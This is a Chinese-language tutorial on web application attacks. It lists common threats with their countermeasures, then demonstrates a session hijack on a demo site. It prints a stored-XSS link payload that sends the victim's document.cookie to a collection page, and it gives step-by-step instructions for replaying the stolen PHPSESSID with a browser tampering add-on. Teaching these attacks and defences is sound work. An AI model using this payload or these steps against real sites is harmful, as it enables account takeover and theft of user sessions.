标题 : 怎么入侵网站,实例演示!
日期 : 2022-10-24
比以往任何时候都更多的人可以访问互联网。这促使许多组织开发基于 Web 的应用程序,用户可以在线使用这些应用程序与组织进行交互。Web 应用程序编写不佳的代码可被利用来获得对敏感数据和 Web 服务器的未经授权的访问。
在本教程中,您将学习如何入侵网站,我们将向您介绍Web 应用程序黑客技术以及您可以采取的防范此类攻击的对策。
本教程涵盖的主题
什么是网络应用程序?什么是网络威胁?
Web 应用程序(又名网站)是基于客户端-服务器模型的应用程序。服务器提供数据库访问和业务逻辑。它托管在 Web 服务器上。客户端应用程序在客户端 Web 浏览器上运行。Web 应用程序通常使用 Java、C# 和 VB.Net、PHP、ColdFusion 标记语言等语言编写。Web 应用程序中使用的数据库引擎包括 MySQL、MS SQL Server、PostgreSQL、SQLite 等。
大多数 Web 应用程序都托管在可通过 Internet 访问的公共服务器上。由于易于访问,这使得它们容易受到攻击。以下是常见的 Web 应用程序威胁。
- SQL 注入——这种威胁的目标可能是绕过登录算法、破坏数据等。
- 拒绝服务攻击——这种威胁的目标可能是拒绝合法用户访问资源
- Cross Site Scripting XSS——这种威胁的目标可能是注入可以在客户端浏览器上执行的代码。
- Cookie/会话中毒——这种威胁的目标是攻击者修改 cookie/会话数据以获得未经授权的访问。
- 表单篡改——这种威胁的目标是修改电子商务应用程序中的价格等表单数据,以便攻击者能够以较低的价格获取商品。
- 代码注入——这种威胁的目标是注入可以在服务器上执行的代码,例如 PHP、Python 等。该代码可以安装后门、泄露敏感信息等。
- 污损——此威胁的目标是修改网站上显示的页面,并将所有页面请求重定向到包含攻击者消息的单个页面。
如何保护您的网站免受黑客攻击?
组织可以采用以下策略来保护自己免受 Web 服务器攻击。
- SQL 注入– 在将用户参数提交到数据库进行处理之前对其进行清理和验证可以帮助减少通过SQL 注入受到攻击的机会。MS SQL Server、MySQL等数据库引擎支持参数和prepared statements。它们比传统的 SQL 语句安全得多
- 拒绝服务攻击——如果攻击是简单的 DoS,防火墙可用于丢弃来自可疑 IP 地址的流量。正确配置网络和入侵检测系统也有助于降低 DoS 攻击成功的机会。
- 跨站点脚本——验证和清理标头、通过 URL 传递的参数、表单参数和隐藏值可以帮助减少 XSS 攻击。
- Cookie/会话中毒——这可以通过加密 cookie 的内容、在一段时间后使 cookie 超时、将 cookie 与用于创建它们的客户端 IP 地址相关联来防止。
- 表单回火——这可以通过在处理之前验证和验证用户输入来防止。
- 代码注入——这可以通过将所有参数视为数据而不是可执行代码来防止。清理和验证可用于实现这一点。
- 污损——一个好的 Web 应用程序开发安全策略应该确保它密封访问 Web 服务器的常用漏洞。这可以是开发 Web 应用程序时对操作系统、Web 服务器软件和最佳安全实践的正确配置。
网站黑客技术:在线黑客网站
在这个网站黑客实际场景中,我们将劫持位于www.techpanda.org的 Web 应用程序的用户会话。我们将使用跨站点脚本来读取 cookie 会话 ID,然后使用它来模拟合法用户会话。
假设攻击者有权访问 Web 应用程序,并且他想劫持使用相同应用程序的其他用户的会话。假设攻击者的访问帐户是有限的,此攻击的目标可能是获得对 Web 应用程序的管理员访问权限。
入门
<a href=# onclick=\”document.location=\’http://techpanda.org/snatch_sess_id.php?c=\’+escape\(document.cookie\)\;\”>黑暗</a>
这里,
上面的代码使用 JavaScript。它添加了一个带有 onclick 事件的超链接。当不知情的用户点击链接时,该事件检索PHP cookie 会话 ID 并将其与 URL 中的会话 ID 一起发送到 snatch_sess_id.php 页面
您的仪表板现在看起来像以下屏幕
- 由于跨站脚本代码存储在数据库中,因此每次有访问权限的用户登录时都会加载
- 假设管理员登录并单击显示 Dark 的超链接
- 他/她将获得会话 ID 显示在 URL 中的窗口
注意:脚本可能会将值发送到存储 PHPSESSID 的某个远程服务器,然后用户重定向回网站,就好像什么都没发生一样。
注意:您获得的值可能与本网页黑客教程中的值不同,但概念相同
使用 Firefox 和 Tamper Data 插件进行会话模拟
下面的流程图显示了完成此练习必须采取的步骤。
- 您将需要 Firefox Web 浏览器来浏览此部分和 Tamper Data 插件
- 打开 Firefox 并安装 add,如下图所示
搜索篡改数据,然后单击安装,如上图所示
点击接受并安装…
- 安装完成后点击立即重启
- 如果未显示菜单栏,请在 Firefox 中启用
单击工具菜单,然后选择篡改数据,如下所示
您将获得以下窗口。注意:如果 Windows 不为空,请点击清除按钮
- 弹出窗口具有三 (3) 个选项。Tamper 选项允许您在将 HTTP 标头信息提交到服务器之前对其进行修改。
- 点击它
- 您将获得以下窗口
- 复制您从攻击 URL 复制的 PHP 会话 ID,并将其粘贴到等号之后。您的值现在应该如下所示
PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
- 点击确定按钮
- 您将再次获得 Tamper data 弹出窗口
- 取消选中询问是否继续篡改的复选框?
- 完成后点击提交按钮
- 您应该能够看到如下所示的仪表板
注意:我们没有登录,我们使用我们使用跨站点脚本检索的 PHPSESSID 值模拟了一个登录会话
概括
- Web 应用程序基于服务器-客户端模型。客户端使用网络浏览器访问服务器上的资源。
- Web 应用程序通常可以通过 Internet 访问。这使他们容易受到攻击。
- Web 应用程序威胁包括 SQL 注入、代码注入、XSS、污损、Cookie 中毒等。
- 开发 Web 应用程序时的良好安全策略有助于确保它们的安全。
|